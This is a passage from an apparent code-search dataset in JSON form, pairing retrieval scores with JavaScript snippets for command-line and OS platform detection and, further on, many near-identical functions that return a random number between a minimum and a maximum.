Myna.File(\"/WEB-INF/myna/commandline/myna\").javaFile.toString()\n\t\t}\n\t}", "title": "" }, { "docid": "f4916c98b5f13231ffab2b6904b6690a", "score": "0.5215126", "text": "function isCommand(message, command){\n\tvar init = message.slice(0, 1);\n\tvar cmd = (message.indexOf(' ') !== -1) ? message.slice(1, message.indexOf(' ')) : message.slice(1);\n\n\tif(init === CMDINT && cmd.toLowerCase() === command.toLowerCase())\n\t\treturn true\n\telse \n\t\treturn false;\n}", "title": "" }, { "docid": "275b6642be0f1d73ff963fc6528d0989", "score": "0.52110463", "text": "function windowsUpdater() {\n if (process.platform !== \"win32\") {\n return false\n }\n\n const cmd = process.argv[1]\n console.log(\"arguments: \");\n console.log(process.argv);\n console.log(\"Processing squirrel command\");\n console.log(cmd);\n const target = path.basename(process.execPath)\n if (cmd === \"--squirrel-install\" || cmd === \"--squirrel-updated\") {\n console.log(\"Install or update\");\n run(['--createShortcut=' + target + ''], app.quit)\n return true\n }\n else if (cmd === \"--squirrel-uninstall\") {\n console.log(\"Uninstall\");\n run(['--removeShortcut=' + target + ''], app.quit)\n return true\n }\n else if (cmd === \"--squirrel-obsolete\") {\n console.log(\"Obsolete\");\n app.quit()\n return true\n }\n else {\n return false\n }\n }", "title": "" }, { "docid": "3a7b3be8e455147ba95b21fb1b666481", "score": "0.520891", "text": "function findCommandPath(com) {\n let execPath = \"\";\n const possibleExtension = [\"\", \".exe\", \".cmd\"];\n _.each(allExecutablePaths, executablePath => {\n if (execPath.length) return;\n\n _.each(possibleExtension, ext => {\n if (execPath.length) return;\n\n const extendedPath = path.join(executablePath, `${com}${ext}`);\n if (fs.existsSync(extendedPath)) {\n execPath = extendedPath;\n }\n });\n });\n if (!execPath.length) throw new Error(`Cannot find command ${com}.`);\n return execPath;\n}", "title": "" }, { "docid": "3d695c78fbd46aafcb1e61c812163ae7", "score": "0.51952606", "text": "static is_prompt(pre) {\n return pre && pre.tagName == \"PROMPT\"\n }", "title": "" }, { "docid": "1c5b53e722b9fbe28a4b745f8e81079f", "score": "0.5190968", "text": "function isWindowsOrmacOS() {\n return process.platform === 'darwin' || process.platform === 'win32';\n}", "title": "" }, { "docid": "d6ed5a1d6c1da611744dc19a0a43fe4e", "score": "0.51801497", "text": "get mynaCmd(){\n\t\tvar mynaCmd;\n\t\tif (/windows/i.test($server.osName)){\n\t\t\tmynaCmd =new Myna.File(\"/WEB-INF/myna/commandline/myna.cmd\");\n\t\t} else {\n\t\t\tmynaCmd =new Myna.File(\"/WEB-INF/myna/commandline/myna\");\n\t\t}\n\t\treturn mynaCmd.javaFile.toString()\n\t}", "title": "" }, { "docid": "fb5819934c22329a2c607d5091c33b14", "score": "0.51392204", "text": "getDefaultShellCommand() {\n return this.configuration.platform_specific_commands.default;\n }", "title": "" }, { "docid": "dcb30ccbf11fbe0b10db4a9add7cce64", "score": "0.51331365", "text": "function isWindows() {\n if (!isNode() || !(process && process.platform))\n /* istanbul ignore next */\n return false;\n return process.platform.indexOf('win') === 0;\n}", "title": "" }, { "docid": "b01b8c9604ac506e1803eb0569d7623c", "score": "0.5129914", "text": "getShellCommand() {\n // Check if the shell command has defined a specific command for this operating system.\n const platformSpecificShellCommand = this.configuration.platform_specific_commands[getOperatingSystem()];\n if (undefined === platformSpecificShellCommand) {\n // No command is defined specifically for this operating system.\n // Return an \"OS agnostic\" command.\n return this.configuration.platform_specific_commands.default;\n }\n else {\n // The shell command has defined a specific command for this operating system.\n return platformSpecificShellCommand;\n }\n }", "title": "" }, { "docid": "dedcb300e5220250f03a77d438109ec9", "score": "0.5108718", "text": "function runByNode() { return typeof process.versions.electron != \"string\" } // Command line Node", "title": "" }, { "docid": "c13fce8d5ac425e9cf37669434f1dbd8", "score": "0.5091347", "text": "function isWindows() {\n return !!navigator && /Win32/i.test(navigator.platform);\n }", "title": "" }, { "docid": "b7fab57647b65de00df4a01def1d50f2", "score": "0.5058597", "text": "function test_webmks_console_windows(browser, operating_system, provider) {}", "title": "" }, { "docid": "1adc765594047a9bdf8921bfae753e90", "score": "0.5021705", "text": "function findEnvCmd() {\n let base = process.env['ProgramFiles(x86)'];\n if (!base) {\n throw new Error('Unable to find \"Program Files (x86)\" directory');\n }\n\n let vsRoot = Path.resolve(base, 'Microsoft Visual Studio');\n let versions = FS.readdirSync(vsRoot)\n .sort()\n .filter(dir => /\\d+/.test(dir) || dir === 'Preview');\n\n if (versions.length === 0) {\n throw new Error('Unable to find Visual Studio version directories');\n }\n\n let version = versions.pop();\n let folder = Path.resolve(base, 'Microsoft Visual Studio', version);\n\n for (const child of FS.readdirSync(folder)) {\n let tryPath = Path.resolve(folder, child, 'VC/Auxiliary/Build/vcvarsall.bat');\n if (FS.existsSync(tryPath)) {\n return tryPath;\n }\n }\n\n throw new Error('Cannot find a Microsoft Visual Studio 2017 installation');\n}", "title": "" }, { "docid": "cf4dab404fc67098f0c55728f2a7e470", "score": "0.5016121", "text": "get isCommandline(){return $server_gateway.environment.get(\"isCommandline\") }", "title": "" }, { "docid": "71a45c9fbc0cd300c9ab485bac0e6a32", "score": "0.5003185", "text": "function commandIs(command) {\n if (message.content.startsWith(prefix + command)) {\n return true;\n }\n\n }", "title": "" }, { "docid": "bf55404f0b2d42ba251fa9a266d971e5", "score": "0.5002597", "text": "function doWhich () {\n // First make sure we have the build command in the PATH\n which(command, function (err, execPath) {\n if (err) {\n if (win && /not found/.test(err.message)) {\n // On windows and no 'msbuild' found. Let's guess where it is\n findMsbuild()\n } else {\n // Some other error or 'make' not found on Unix, report that to the user\n callback(err)\n }\n return\n }\n log.verbose('`which` succeeded for `' + command + '`', execPath)\n doBuild()\n })\n }", "title": "" }, { "docid": "aa7eca561debff25bfe6f4b17e5ac36e", "score": "0.49613565", "text": "function isAlpine() {\n const output = require('child_process').spawnSync('which',['apk']).stderr.toString('utf8');\n if(output.indexOf('apk') > -1) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "3b2605a8b15a18130ae89bf514fd66ff", "score": "0.49526855", "text": "isCommandOrAlias (commandName)\n {\n if(commandName == this.name) return true;\n\n if(this.aliases.includes(commandName)) return true;\n\n return false;\n }", "title": "" }, { "docid": "849094e8ec2a0ae59383d4006d33ff1e", "score": "0.49241537", "text": "function windowsSpawn(executable, args, options){\n return spawn('cmd.exe', ['/c', executable].concat(args), options);\n}", "title": "" }, { "docid": "5c784bd66582addc644bcf901d40f9ff", "score": "0.49178523", "text": "function getCmd() {\n if (!!!js.Command) return cfg.DEFAULT_TEX_CMD;\n if (cfg.TEX_CMDS.indexOf(js.Command) === -1) return null;\n else return js.Command;\n }", "title": "" }, { "docid": "d84bd33ea69803aec0761a7c00a960f9", "score": "0.49178493", "text": "get isWindows() {\n return /Win/.test(navigator.platform);\n }", "title": "" }, { "docid": "18503aa72610a7662505c42398ff9347", "score": "0.48983994", "text": "isCommand(command) {\n return this.listeners(command).length !== 0;\n }", "title": "" }, { "docid": "02679e98207a53d6e8ecbca2e1e6b07e", "score": "0.48813298", "text": "function sh(cmd, env = {}) {\n let args = cmd.split(/\\s+/);\n console.log(args.join(\" \"));\n let exe = args.shift();\n // Use this node if node is specified.\n if (exe === \"node\") exe = process.execPath;\n let r = spawnSync(exe, args, {\n stdio: 'inherit',\n env: { ...process.env, ...env }\n });\n if (r.error) throw r.error;\n if (r.status) {\n console.log(\"Error\", args[0]);\n process.exit(r.status);\n }\n}", "title": "" }, { "docid": "710cb10e3cfe7a3fbfb20e14fffeb517", "score": "0.4870194", "text": "function isStandaloneBuild() {\n return 'pkg' in process;\n}", "title": "" }, { "docid": "396d9a40dfd37c628a7536472fc86d9d", "score": "0.48625916", "text": "checkChrome() {\n return window['chrome'] ? 'is-chrome' : '';\n }", "title": "" }, { "docid": "95f5593fc9e8dacd0db6775021563e8e", "score": "0.4845292", "text": "function executeShellCmd(cmd) {\n\treturn exec(cmd);\n}", "title": "" }, { "docid": "8bce721ece3794fa8c404e7967752ff7", "score": "0.4834732", "text": "function h$filepath_isWindows() {\n if(h$isNode && process.platform === 'win32') return true;\n return false;\n}", "title": "" }, { "docid": "8bce721ece3794fa8c404e7967752ff7", "score": "0.4834732", "text": "function h$filepath_isWindows() {\n if(h$isNode && process.platform === 'win32') return true;\n return false;\n}", "title": "" }, { "docid": "d0b1b59903bad4c00e363f1d58b01c16", "score": "0.48311612", "text": "function isUnixExecutable(stats) {\n return ((stats.mode & 1) > 0 ||\n ((stats.mode & 8) > 0 && stats.gid === process.getgid()) ||\n ((stats.mode & 64) > 0 && stats.uid === process.getuid()));\n}", "title": "" }, { "docid": "d0b1b59903bad4c00e363f1d58b01c16", "score": "0.48311612", "text": "function isUnixExecutable(stats) {\n return ((stats.mode & 1) > 0 ||\n ((stats.mode & 8) > 0 && stats.gid === process.getgid()) ||\n ((stats.mode & 64) > 0 && stats.uid === process.getuid()));\n}", "title": "" }, { "docid": "d0b1b59903bad4c00e363f1d58b01c16", "score": "0.48311612", "text": "function isUnixExecutable(stats) {\n return ((stats.mode & 1) > 0 ||\n ((stats.mode & 8) > 0 && stats.gid === process.getgid()) ||\n ((stats.mode & 64) > 0 && stats.uid === process.getuid()));\n}", "title": "" }, { "docid": "d0b1b59903bad4c00e363f1d58b01c16", "score": "0.48311612", "text": "function isUnixExecutable(stats) {\n return ((stats.mode & 1) > 0 ||\n ((stats.mode & 8) > 0 && stats.gid === process.getgid()) ||\n ((stats.mode & 64) > 0 && stats.uid === process.getuid()));\n}", "title": "" }, { "docid": "d0b1b59903bad4c00e363f1d58b01c16", "score": "0.48311612", "text": "function isUnixExecutable(stats) {\n return ((stats.mode & 1) > 0 ||\n ((stats.mode & 8) > 0 && stats.gid === process.getgid()) ||\n ((stats.mode & 64) > 0 && stats.uid === process.getuid()));\n}", "title": "" }, { "docid": "d0b1b59903bad4c00e363f1d58b01c16", "score": "0.48311612", "text": "function isUnixExecutable(stats) {\n return ((stats.mode & 1) > 0 ||\n ((stats.mode & 8) > 0 && stats.gid === process.getgid()) ||\n ((stats.mode & 64) > 0 && stats.uid === process.getuid()));\n}", "title": "" }, { "docid": "d0b1b59903bad4c00e363f1d58b01c16", "score": "0.48311612", "text": "function isUnixExecutable(stats) {\n return ((stats.mode & 1) > 0 ||\n ((stats.mode & 8) > 0 && stats.gid === process.getgid()) ||\n ((stats.mode & 64) > 0 && stats.uid === process.getuid()));\n}", "title": "" }, { "docid": "40c81959a3c23d5e0b7c80cd44cab173", "score": "0.48240173", "text": "function isKeypressCommand(nativeEvent) {\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) && !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "40c81959a3c23d5e0b7c80cd44cab173", "score": "0.48240173", "text": "function isKeypressCommand(nativeEvent) {\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) && !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "c73a50e0644760de040014566a7c0caf", "score": "0.48221016", "text": "function hasProcessFlag(flag) {\n return process.argv.join('').indexOf(flag) > -1;\n}", "title": "" }, { "docid": "c4ab2b56f8f8a696d833c95e7cacaaa8", "score": "0.4798978", "text": "function isKeypressCommand(nativeEvent) {\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "c4ab2b56f8f8a696d833c95e7cacaaa8", "score": "0.4798978", "text": "function isKeypressCommand(nativeEvent) {\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "c4ab2b56f8f8a696d833c95e7cacaaa8", "score": "0.4798978", "text": "function isKeypressCommand(nativeEvent) {\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "c4ab2b56f8f8a696d833c95e7cacaaa8", "score": "0.4798978", "text": "function isKeypressCommand(nativeEvent) {\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "c4ab2b56f8f8a696d833c95e7cacaaa8", "score": "0.4798978", "text": "function isKeypressCommand(nativeEvent) {\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "c4ab2b56f8f8a696d833c95e7cacaaa8", "score": "0.4798978", "text": "function isKeypressCommand(nativeEvent) {\n return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n !(nativeEvent.ctrlKey && nativeEvent.altKey);\n }", "title": "" }, { "docid": "9299227b98670975a056b5751965b858", "score": "0.47912934", "text": "get isRunning() {\n return !!this.process;\n }", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" }, { "docid": "c191ffc97688f847657cb3342442aec6", "score": "0.4790975", "text": "function isKeypressCommand(nativeEvent) {\n\t return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n\t // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n\t !(nativeEvent.ctrlKey && nativeEvent.altKey);\n\t}", "title": "" } ]
490239ccad5b66f13b1b6ed88f19b54f
A function to return a random number between a min and a max value
[ { "docid": "563c212168cc1d490c70f84bc63f1707", "score": "0.0", "text": "function randomNumber(min, max) {\n number = Math.floor((Math.random()*(max-min))+ min);\n return number;\n }", "title": "" } ]
[ { "docid": "6a07fd015785e5e10601665522f5b584", "score": "0.88298047", "text": "function getRandomNum(min, max) {return Math.floor(Math.random() * (max - min + 1) + min);}", "title": "" }, { "docid": "f131b777075a21c88c043dcdcaa43fe5", "score": "0.8790223", "text": "function Randomvalue(max, min) {\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}", "title": "" }, { "docid": "99cecfea6fc3eaee8ce34d06682e15db", "score": "0.8783847", "text": "function generateRandomNumber(min, max) {\n // return Math.floor(Math.random() * (max — min) + min);\n return 1234;\n}", "title": "" }, { "docid": "8d2077d53256572beca0ade1ca92f3d5", "score": "0.8759782", "text": "function rndNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) ) + min;\n}", "title": "" }, { "docid": "e08fb9741efa274b0f5a43e322176688", "score": "0.8751204", "text": "function getRandomNumber(min, max) {\n return Math.ceil((Math.random() * (max - min)));\n}", "title": "" }, { "docid": "bdfa1e10a32276d24149527ab72bd017", "score": "0.8746786", "text": "function getRandomNumber(min, max) {\r\n \r\n return Math.random() * (max - min) + min;\r\n \r\n}", "title": "" }, { "docid": "53c153e57ab2cefdcea1faaa643a2391", "score": "0.87374425", "text": "function randomValue(min, max) { // min and max included \n return Math.floor(Math.random() * (max - min + 1) + min);\n}", "title": "" }, { "docid": "8dabe54ee6108cc2830bb8f9349046d8", "score": "0.8731408", "text": "function getRandomNumber(min, max) {\r\n \r\n return Math.random() * (max - min) + min;\r\n \r\n }", "title": "" }, { "docid": "9f4847c958b4e51935917a16f834644e", "score": "0.8726567", "text": "function random_number(min,max) {\n return (Math.round((max-min) * Math.random() + min));\n}", "title": "" }, { "docid": "2d2e66eea50f4f41b09447570cb1c75e", "score": "0.87144756", "text": "function randomNumber (max, min) {\n return (Math.floor(Math.random()*(max-min))+1)+min;\n}", "title": "" }, { "docid": "d17b295edd64f3a9a0eccb326f8780dc", "score": "0.8714395", "text": "function getRandomValue(min, max) {\n min = Math.ceil(min);\n max = Math.floor(max);\n return Math.floor(Math.random() * (max - min + 1)) + min; //The maximum is inclusive and the minimum is inclusive \n }", "title": "" }, { "docid": "efb4c62c47cac8de5ad0ec98c26372eb", "score": "0.87105715", "text": "function getRandomVal(min, max) {\n\treturn Math.round(min + (Math.random()*(max - min)));\n}", "title": "" }, { "docid": "028fe7f974b238e57587aa82705eaa89", "score": "0.8709593", "text": "function getRandomNumber(min, max) {\n return Math.floor((Math.random() * max)) + min;\n}", "title": "" }, { "docid": "14ffeead9c5a16fcbbb32cb08f91d2a5", "score": "0.87090194", "text": "function generatorNumber(min, max) {\n var random = Math.floor(Math.random() * (max - min + 1) + min); \n return random;\n}", "title": "" }, { "docid": "c671b0ba7043363a72ceda99767de007", "score": "0.86954594", "text": "function getRandomNumber (min, max){\n return Math.floor(Math.random() * (max - min + 1) + min)\n}", "title": "" }, { "docid": "5f86c08cd230d16e052297486cd5da3c", "score": "0.86933047", "text": "function getRandomNumber (min, max) {\n return Math.floor(Math.random() * (max - min + 1)) + min;\n }", "title": "" }, { "docid": "f28c0deaa223027ddc773df1f7151de6", "score": "0.86930895", "text": "function randomNumber(min, max){\n const r = Math.random()*(max-min) + min\n return Math.floor(r)\n }", "title": "" }, { "docid": "54c80951e352a0d78b5f8a9a471bacec", "score": "0.8688053", "text": "static getRandomValue(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n }", "title": "" }, { "docid": "62c1db951b505bbfea83fe308cd66936", "score": "0.8687571", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1)+min)\n}", "title": "" }, { "docid": "4d7018575d95a573911897b2a68d9cca", "score": "0.86831725", "text": "function randomNumber(min, max){\n return Math.round(Math.random() * (max - min + 1) + min);\n}", "title": "" }, { "docid": "1a4617a08e1f94d84a123aad6559eb4f", "score": "0.8676828", "text": "function randomNumber(min, max) {\r\n return Math.round(Math.random() * (max - min) + min);\r\n}", "title": "" }, { "docid": "5459cd6b250a9406af94911251c1e70c", "score": "0.86759645", "text": "function getRandomNumber(min,max) {\n return Math.floor(Math.random()*(max-min+1)+min);\n}", "title": "" }, { "docid": "3f0d7aee49a609e9b361c86d0b95e660", "score": "0.8674823", "text": "function getRandomNumber(min, max) {\n return Math.round(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "31acddae6b1969e93b13468230df6f9c", "score": "0.86734474", "text": "function randomNumber(max, min) {\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}", "title": "" }, { "docid": "bfe3524e5967635081131bd7058474d6", "score": "0.86723024", "text": "function randomNumber(min, max) { \r\n let r = Math.random() * (max - min) + min;\r\n return Math.floor(r); \r\n}", "title": "" }, { "docid": "dc4fa0e52317e3682188b1aba89c19ff", "score": "0.86646324", "text": "function randomNum(max, min) {\n var randomValue = Math.random() * (max - min) + min;\n return randomValue;\n }", "title": "" }, { "docid": "0fb15738c6b4805eb039cf984ec40a6c", "score": "0.8662411", "text": "function randomNumber(min,max)\n{\n return Math.floor(Math.random()*(max-min+1)+min)\n}", "title": "" }, { "docid": "1c714304b4d7eb6d24031ba57dccb50c", "score": "0.866022", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "d80fa2da245dbf6587ed7470b34bf2f0", "score": "0.8656366", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "d397b1daabb6aba6178519583cb1ca14", "score": "0.86539066", "text": "function getRandomNumber(min, max){\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}", "title": "" }, { "docid": "2a3b32aec3752e6badcea5d8e16d81bb", "score": "0.8653209", "text": "function generatorRandonNumber(min, max) {\n return Math.floor(Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "a3feb16935c1280dd202e502a63d1b5e", "score": "0.8652452", "text": "function randomNumber (min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "ef9982ebcfb13ef52033d06fe92eb8ec", "score": "0.86499655", "text": "function randomNumber(min, max){\n return Math.floor(Math.random() * (1 + max - min) + min);\n }", "title": "" }, { "docid": "d192fb23b2e6bf5da7e9508457a9e945", "score": "0.8649904", "text": "function getRandomNumber(min, max){\n return (Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "3ade48806414b84549ed89dc4b542805", "score": "0.864932", "text": "function getRandomInt(min, max) {return Math.floor(Math.random() * (max - min + 1)) + min;}", "title": "" }, { "docid": "6acbd1dc8afe205b9a1554cdd2d89a87", "score": "0.86492765", "text": "function getRandomNumberBetween(min,max){\n return Math.floor(Math.random()*(max-min+1)+min);\n }", "title": "" }, { "docid": "2edecad481d63afa40ddda1fd6657faa", "score": "0.86465687", "text": "function randomNumber(min, max) {\r\n return Math.floor(Math.random() * (max - min + 1) + min)\r\n }", "title": "" }, { "docid": "fd9a886cfb53770fc6174e3885b9fe79", "score": "0.86439043", "text": "function randomNumber(min, max){\n var result = Math.floor(Math.random() * (max + 1 - min) + min);\n return result;\n}", "title": "" }, { "docid": "3b0d876b4195b9e52f039099a522fb97", "score": "0.86398166", "text": "function generateNumber(min, max) {\n return Math.floor(Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "5ab879bf7f6b42746c770d2595bc9afc", "score": "0.8639586", "text": "function randomNumber(min, max) {\n \treturn Math.floor(Math.random() * (max - min) + min);\n }", "title": "" }, { "docid": "cfc1ee3e3e9836763c0cf3c9eb6e2cfe", "score": "0.8639365", "text": "function randomNumber(min=0, max=10){\n return Math.round(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "877d2ee0a0cd16e8952ab80a4198ed5c", "score": "0.8637423", "text": "function getRandomNumber(min,max)\n{\n return Math.random()*(max - min) + min;\n}", "title": "" }, { "docid": "dd322f026f0d68094119d65a3588ecb5", "score": "0.8635622", "text": "function getRandomNumber(min, max) {\n return Math.random() * (max - min) + min;\n}", "title": "" }, { "docid": "44e855b5707e15653d27b2bd1d850bd3", "score": "0.8634082", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}", "title": "" }, { "docid": "f37e8f0ef714fc6ae47a545e9ae58e7a", "score": "0.863277", "text": "function randomNumber (min, max){\n return Math.floor(Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "3c4eb7d1844b473883537cbbfa9d48ad", "score": "0.86324894", "text": "function randomNumber(min, max)\r\n{\r\n return Math.floor(Math.random() * (max - min + 1)) + min;\r\n}", "title": "" }, { "docid": "9a180df7847261befd4812730d460118", "score": "0.8629289", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "54710f3dc7b870865272d9b8c8037da2", "score": "0.86283535", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "ca6c2fb936b9afd4d9ae6d49c548e08d", "score": "0.86258256", "text": "rnd(min, max){\n\t\treturn Math.floor(Math.random()*(max-min+1))+min;\n\t}", "title": "" }, { "docid": "c5b01803c1a713c49f444a5544b27a13", "score": "0.8624788", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n}", "title": "" }, { "docid": "c5b01803c1a713c49f444a5544b27a13", "score": "0.8624788", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n}", "title": "" }, { "docid": "51a4288281254c195c0cb4b9c673dd42", "score": "0.8623152", "text": "function getRandomNumber (min, max) {\n return Math.floor(Math.random() * (max - min + 1) ) + min;\n }", "title": "" }, { "docid": "2746a3f9da808cb874f3f928ece9b6f1", "score": "0.86222523", "text": "function randomNumber(min, max){\n var randomNumberReturn = Math.floor(Math.random() * (1 + max - min) + min);\n return randomNumberReturn;\n}", "title": "" }, { "docid": "3b2c70b207cb403087359592bc61e6a6", "score": "0.86217", "text": "function generateRandomNumber(max, min) {\n return Math.floor(Math.random() * (max - min)) + min;\n }", "title": "" }, { "docid": 